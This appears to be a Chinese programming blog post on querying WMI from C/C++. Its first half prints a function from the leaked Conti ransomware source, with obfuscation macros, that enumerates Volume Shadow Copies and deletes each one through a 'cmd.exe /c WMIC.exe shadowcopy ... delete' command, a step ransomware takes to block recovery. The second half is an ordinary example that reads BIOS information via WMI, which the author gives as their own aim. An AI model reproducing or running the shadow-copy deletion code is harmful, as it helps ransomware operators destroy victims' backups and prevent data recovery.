C/C++ 操作 WMI
代码来自泄露的 Conti 勒索软件源码:https://www.vx-underground.org/#E:/root/Archive/Conti Leaks
SHORT
cryptor::DeleteShadowCopies(PVOID Reserved)
{
HRESULT hres;
// Step 1: --------------------------------------------------
// Initialize COM. ------------------------------------------
hres = (HRESULT)pCoInitializeEx(0, COINIT_MULTITHREADED);
if (FAILED(hres))
{
return FALSE; // Program has failed.
}
morphcode(hres);
// Step 2: --------------------------------------------------
// Set general COM security levels --------------------------
hres = (HRESULT)pCoInitializeSecurity(
NULL,
-1, // COM authentication
NULL, // Authentication services
NULL, // Reserved
RPC_C_AUTHN_LEVEL_DEFAULT, // Default authentication
RPC_C_IMP_LEVEL_IMPERSONATE, // Default Impersonation
NULL, // Authentication info
EOAC_NONE, // Additional capabilities
NULL // Reserved
);
morphcode(hres);
if (FAILED(hres))
{
pCoUninitialize();
return FALSE; // Program has failed.
}
// Step 3: ---------------------------------------------------
// Obtain the initial locator to WMI -------------------------
IWbemLocator* pLoc = NULL;
hres = (HRESULT)pCoCreateInstance(
CLSID_WbemLocator,
0,
CLSCTX_INPROC_SERVER,
IID_IWbemLocator, (LPVOID*)&pLoc);
morphcode(pLoc);
IWbemContext* pContext = NULL;
SYSTEM_INFO SysInfo;
pGetNativeSystemInfo(&SysInfo);
morphcode(SysInfo.dwActiveProcessorMask);
if (SysInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) {
hres = (HRESULT)pCoCreateInstance(CLSID_WbemContext, 0, CLSCTX_INPROC_SERVER, IID_IWbemContext, (LPVOID*)&pContext);
if (FAILED(hres))
{
pCoUninitialize();
return FALSE;
}
morphcode(hres);
BSTR Arch = pSysAllocString(OBFW(L"__ProviderArchitecture"));
VARIANT vArchitecture;
pVariantInit(&vArchitecture);
V_VT(&vArchitecture) = VT_I4;
V_INT(&vArchitecture) = 64;
hres = pContext->SetValue(Arch, 0, &vArchitecture);
morphcode(hres);
pVariantClear(&vArchitecture);
if (FAILED(hres))
{
pCoUninitialize();
return FALSE; // Program has failed.
}
}
// Step 4: -----------------------------------------------------
// Connect to WMI through the IWbemLocator::ConnectServer method
IWbemServices* pSvc = NULL;
// Connect to the root\cimv2 namespace with
// the current user and obtain pointer pSvc
// to make IWbemServices calls.
BSTR Path = pSysAllocString(OBFW(L"ROOT\\CIMV2"));
hres = pLoc->ConnectServer(
Path, // Object path of WMI namespace
NULL, // User name. NULL = current user
NULL, // User password. NULL = current
0, // Locale. NULL indicates current
NULL, // Security flags.
0, // Authority (for example, Kerberos)
pContext, // Context object
&pSvc // pointer to IWbemServices proxy
);
morphcode(pSvc);
if (FAILED(hres))
{
pLoc->Release();
pCoUninitialize();
return FALSE; // Program has failed.
}
// Step 5: --------------------------------------------------
// Set security levels on the proxy -------------------------
hres = (HRESULT)pCoSetProxyBlanket(
pSvc, // Indicates the proxy to set
RPC_C_AUTHN_WINNT, // RPC_C_AUTHN_xxx
RPC_C_AUTHZ_NONE, // RPC_C_AUTHZ_xxx
NULL, // Server principal name
RPC_C_AUTHN_LEVEL_CALL, // RPC_C_AUTHN_LEVEL_xxx
RPC_C_IMP_LEVEL_IMPERSONATE, // RPC_C_IMP_LEVEL_xxx
NULL, // client identity
EOAC_NONE // proxy capabilities
);
morphcode(hres);
if (FAILED(hres))
{
pSvc->Release();
pLoc->Release();
pCoUninitialize();
return FALSE; // Program has failed.
}
// Step 6: --------------------------------------------------
// Use the IWbemServices pointer to make requests of WMI ----
// For example, get the name of the operating system
BSTR WqlStr = pSysAllocString(OBFW(L"WQL"));
BSTR Query = pSysAllocString(OBFW(L"SELECT * FROM Win32_ShadowCopy"));
IEnumWbemClassObject* pEnumerator = NULL;
hres = pSvc->ExecQuery(
WqlStr,
Query,
WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY,
NULL,
&pEnumerator);
morphcode(hres);
if (FAILED(hres))
{
pSvc->Release();
pLoc->Release();
pCoUninitialize();
return 1; // Program has failed.
}
// Step 7: -------------------------------------------------
// Get the data from the query in step 6 -------------------
IWbemClassObject* pclsObj = NULL;
ULONG uReturn = 0;
morphcode(pEnumerator);
while (pEnumerator)
{
HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1,
&pclsObj, &uReturn);
morphcode(hr);
if (0 == uReturn)
{
break;
}
VARIANT vtProp;
// Get the value of the Name property
hr = pclsObj->Get(OBFW(L"ID"), 0, &vtProp, 0, 0);
morphcode(hr);
WCHAR CmdLine[1024];
RtlSecureZeroMemory(CmdLine, sizeof(CmdLine));
wsprintfW(CmdLine, OBFW(L"cmd.exe /c C:\\Windows\\System32\\wbem\\WMIC.exe shadowcopy where \"ID='%s'\" delete"), vtProp.bstrVal);
morphcode();
LPVOID Old;
pWow64DisableWow64FsRedirection(&Old);
morphcode(Old);
CmdExecW(CmdLine);
pWow64RevertWow64FsRedirection(Old);
morphcode(Old);
pVariantClear(&vtProp);
pclsObj->Release();
}
// Cleanup
// ========
if (pContext) {
pContext->Release();
}
pSvc->Release();
pLoc->Release();
pEnumerator->Release();
pCoUninitialize();
return TRUE;
}
因为自已要通过 WMI 的方式获取硬件一些信息,以下为 C/C++ 操作 WMI 的大概流程
// 获取 BIOS 信息
void GetBIOSInfo()
{
// 用 CoInitializeEx 初始化 COM 接口
HRESULT hResult = CoInitializeEx(0, COINIT_MULTITHREADED);
if (FAILED(hResult))
{
return;
}
// 用 CoInitializeSecurity 注册并设置进程的默认的安全值
hResult = CoInitializeSecurity(
NULL,
-1,
NULL,
NULL,
RPC_C_AUTHN_LEVEL_DEFAULT,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL,
EOAC_NONE,
NULL
);
if (FAILED(hResult))
{
CoUninitialize();
return;
}
// 创建一个到 WMI 命名空间的连接
// 用 CoCreateInstance 来初始化 IwbemLocator 接口
IWbemLocator* pIWbemLoc = NULL;
hResult = CoCreateInstance(
CLSID_WbemLocator,
0,
CLSCTX_INPROC_SERVER,
IID_IWbemLocator,
(LPVOID*)&pIWbemLoc
);
if (FAILED(hResult))
{
CoUninitialize();
return;
}
// 用 IWbemLocator::ConnectServer 连接到 WMI
// ConnectServer 返回一个 IWbemServices 接口代理,可以用来访问本地或是远程 WMI 命名空间
IWbemServices* pIWbemSer = NULL;
hResult = pIWbemLoc->ConnectServer(
BSTR(L"root\\CIMV2"),
NULL,
NULL,
0,
NULL,
0,
0,
&pIWbemSer
);
if (FAILED(hResult))
{
pIWbemLoc->Release();
CoUninitialize();
return;
}
// 设置 WMI 连接的安全属性
// 因为 IWbemServices 代理允许使用进程外对象,但在 COM 中,如果没有设置安全属性
// 是不允许进程间互相访问的,所以需要 CoSetProxyBlanket 设置 IWbemServices 代理安全值
hResult = CoSetProxyBlanket(
pIWbemSer,
RPC_C_AUTHN_WINNT,
RPC_C_AUTHZ_NONE,
NULL,
RPC_C_AUTHN_LEVEL_CALL,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL,
EOAC_NONE
);
if (FAILED(hResult))
{
pIWbemSer->Release();
pIWbemLoc->Release();
CoUninitialize();
return;
}
// 执行自己需要的操作
// WMI 通过 COM 提供了许多用来访问系统数据的接口,下面读取 BIOS 信息
// 用 IWbemServices 指针向 WMI 发送请求,获取 Win32_BIOS 类的实例集合
IEnumWbemClassObject* pIEnumerator = NULL;
hResult = pIWbemSer->ExecQuery(
bstr_t("WQL"),
bstr_t("Select * FROM Win32_BIOS"),
WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY,
NULL,
&pIEnumerator
);
if (FAILED(hResult))
{
pIWbemSer->Release();
pIWbemLoc->Release();
CoUninitialize();
return;
}
// 遍历 IEnumWbemClassObject 输出信息
IWbemClassObject* pIWbemObj = NULL;
while (pIEnumerator)
{
ULONG ulReturn = 0;
hResult = pIEnumerator->Next(
WBEM_INFINITE,
1,
&pIWbemObj,
&ulReturn
);
if (ulReturn == 0)
{
break;
}
VARIANT vtProp;
hResult = pIWbemObj->Get(L"SMBIOSBIOSVersion", 0, &vtProp, 0, 0);
std::wcout << "SMBIOSBIOSVersion: " << vtProp.bstrVal << std::endl;
hResult = pIWbemObj->Get(L"Manufacturer", 0, &vtProp, 0, 0);
std::wcout << "Manufacturer: " << vtProp.bstrVal << std::endl;
hResult = pIWbemObj->Get(L"Name", 0, &vtProp, 0, 0);
std::wcout << "Name: " << vtProp.bstrVal << std::endl;
hResult = pIWbemObj->Get(L"SerialNumber", 0, &vtProp, 0, 0);
std::wcout << "SerialNumber: " << vtProp.bstrVal << std::endl;
hResult = pIWbemObj->Get(L"Version", 0, &vtProp, 0, 0);
std::wcout << "Version: " << vtProp.bstrVal << std::endl;
VariantClear(&vtProp);
}
if (pIWbemObj != NULL)
{
pIWbemObj->Release();
}
if (pIEnumerator != NULL)
{
pIEnumerator->Release();
}
// 释放资源
pIWbemSer->Release();
pIWbemLoc->Release();
CoUninitialize();
}